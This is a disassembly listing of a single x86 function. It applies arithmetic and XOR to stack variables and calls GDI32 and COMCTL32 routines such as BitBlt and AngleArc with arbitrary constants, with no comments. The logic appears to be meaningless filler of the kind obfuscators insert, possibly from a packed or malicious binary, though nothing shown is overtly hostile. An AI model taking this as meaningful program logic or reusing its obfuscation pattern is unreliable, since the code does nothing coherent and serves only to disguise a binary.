mov eax, dword [ebp - 0x2fc0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x2e60], ecx
jmp 0x4ed1bf
mov edx, dword [ebp - 0x2ef8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x2ec0]
movzx edx, byte [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x2e7c]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0xd2]
and edx, ecx
cmp eax, edx
jge 0x4ed1bf
lea edx, [ebp - 0xe6d0]
push edx
call dword [sym.imp.COMDLG32.dll_PageSetupDlgA]
mov dword [ebp - 0x2eb4], eax
mov al, byte [ebp - 0xce]
mov byte [ebp - 0xe2e0], al
cmp byte [ebp - 0xe2e0], 7
je 0x4ed1d6
jmp 0x4ed221
mov ecx, dword [ebp - 0x2e6c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xb48]
add edx, eax
mov word [ebp - 0xb44], dx
mov ecx, dword [ebp - 0x2e7c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xcf]
and edx, eax
mov ecx, dword [ebp - 0x2e7c]
mov byte [ecx], dl
mov edx, dword [ebp - 0x2e70]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2e60]
shr eax, cl
mov dword [ebp - 0x2e5c], eax
jmp 0x4ed267
mov ecx, dword [ebp - 0x2e60]
xor ecx, dword [0x5193b8]
mov edx, dword [ebp - 0x2e70]
mov dword [edx], ecx
lea eax, [ebp - 0x2ea0]
push eax
mov ecx, dword [ebp - 0x2e74]
push ecx
call dword [sym.imp.GDI32.dll_SetColorAdjustment]
mov dword [ebp - 0x2f34], eax
mov edx, dword [ebp - 0x2e58]
mov eax, dword [ebp - 0x2e9c]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x2e64], edx
mov eax, dword [ebp - 0x2dfc]
add eax, dword [ebp - 0x2e5c]
mov dword [0x5193b8], eax
lea ecx, [ebp - 0x2e3c]
push ecx
push 0x4a
push 0xc4
mov edx, dword [ebp - 0x2e98]
push edx
call dword [sym.imp.GDI32.dll_GetCharABCWidthsA]
mov dword [ebp - 0x304c], eax
mov eax, dword [ebp - 0x2e3c]
movsx ecx, word [eax]
movsx edx, word [ebp - 0xb40]
add ecx, edx
mov eax, dword [ebp - 0x2e3c]
mov word [eax], cx
mov ecx, dword [ebp - 0x2e5c]
add ecx, dword [ebp - 0x2dfc]
cmp ecx, dword [ebp - 0x2e60]
je 0x4ed386
mov edx, dword [ebp - 0x2e3c]
movsx eax, word [edx]
movsx ecx, word [ebp - 0xb40]
or eax, ecx
mov edx, dword [ebp - 0x2e3c]
mov word [edx], ax
mov eax, dword [ebp - 0x2e38]
sar eax, 3
cmp eax, dword [ebp - 0x2e2c]
jl 0x4ed386
movzx ecx, word [ebp - 0xb48]
mov dword [ebp - 0xe2e4], ecx
cmp dword [ebp - 0xe2e4], 0xf33
je 0x4ed371
cmp dword [ebp - 0xe2e4], 0xf5d
je 0x4ed323
jmp 0x4ed386
mov edx, dword [ebp - 0x2e5c]
mov dword [ebp - 0x2e60], edx
push 0xc0
push 0xf0
push 0x1b
mov eax, dword [ebp - 0x2e74]
push eax
push 0x6f
push 0xaf
push 0x6e
push 0x6b
mov ecx, dword [ebp - 0x2e4c]
push ecx
call dword [sym.imp.GDI32.dll_BitBlt]
mov dword [ebp - 0x2e50], eax
mov edx, dword [ebp - 0x2e38]
shl edx, 0xa
mov dword [ebp - 0x2e2c], edx
jmp 0x4ed386
movsx eax, word [ebp - 0xb40]
xor eax, 0x7a3a
mov ecx, dword [ebp - 0x2e3c]
mov word [ecx], ax
movsx edx, byte [ebp - 0xcd]
shl edx, 0x40
movsx eax, byte [0x518004]
cmp edx, eax
jne 0x4ed3a0
jmp 0x4ed42f
mov ecx, dword [ebp - 0x2e3c]
movsx edx, word [ecx]
add edx, 0x6f28
movsx eax, word [ebp - 0xb40]
cmp edx, eax
jge 0x4ed42f
movsx ecx, byte [ebp - 0xcd]
add ecx, 0xa
mov byte [0x518004], cl
movsx edx, word [ebp - 0xb40]
sub edx, 0x804
mov eax, dword [ebp - 0x2e3c]
mov word [eax], dx
push ecx
movss xmm0, dword [0x5114d8]
movss dword [esp], xmm0
push ecx
movss xmm0, dword [0x5114c4]
movss dword [esp], xmm0
push 0x3a
push 0xb3
push 0xc0
mov ecx, dword [ebp - 0x2e4c]
push ecx
call dword [sym.imp.GDI32.dll_AngleArc]
mov dword [ebp - 0x2e78], eax
movzx edx, word [ebp - 0xb48]
sub edx, 0x41e
mov word [ebp - 0xb44], dx
mov eax, dword [ebp - 0x2e3c]
movsx ecx, word [eax]
sub ecx, 0x1325
mov word [ebp - 0xb40], cx
movsx edx, word [ebp - 0xb40]
and edx, 0x2041
mov eax, dword [ebp - 0x2e3c]
mov word [eax], dx
push 0xf3
mov ecx, dword [ebp - 0xe2e8]
push ecx
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
mov dword [ebp - 0x2e5c], eax
jmp 0x4ed4fb
movsx edx, byte [ebp - 0xcd]
sar edx, 4
mov byte [0x518004], dl
mov al, byte [ebp - 0xcd]
mov byte [ebp - 0xe2ec], al
cmp byte [ebp - 0xe2ec], 5
je 0x4ed49f
jmp 0x4ed4e3
push 0x96
lea ecx, [ebp - 0x2e2c]
push ecx
mov edx, dword [ebp - 0x2e98]
push edx
call dword [sym.imp.GDI32.dll_ModifyWorldTransform]
mov dword [ebp - 0x312c], eax
movsx eax, byte [0x518004]
or eax, 0x73
mov byte [ebp - 0xcd], al
mov ecx, dword [ebp - 0x2e74]
push ecx
call dword [sym.imp.GDI32.dll_GetDCBrushColor]
mov dword [ebp - 0x2e60], eax
jmp 0x4ed4fb
movzx edx, word [ebp - 0xb40]
push edx
movzx eax, word [ebp - 0xb40]
push eax
call fcn.004ee400
add esp, 8
movsx ecx, word [ebp - 0xb40]
cmp ecx, 0x6cef
jne 0x4ed557
mov edx, dword [ebp - 0x2e2c]
and edx, 0x105eee7e
mov dword [ebp - 0x2e2c], edx
push 0x5d
lea eax, [ebp - 0xb40]
push eax
push 0
mov ecx, dword [ebp - 0x2e48]
push ecx
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x2ef4], eax
movzx edx, byte [ebp - 0xcd]
push edx
movzx eax, byte [ebp - 0xcd]
push eax
movzx ecx, byte [ebp - 0xcd]
push ecx
call fcn.004ed7b0
nop
mov eax, dword [ebp - 0xaae0]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10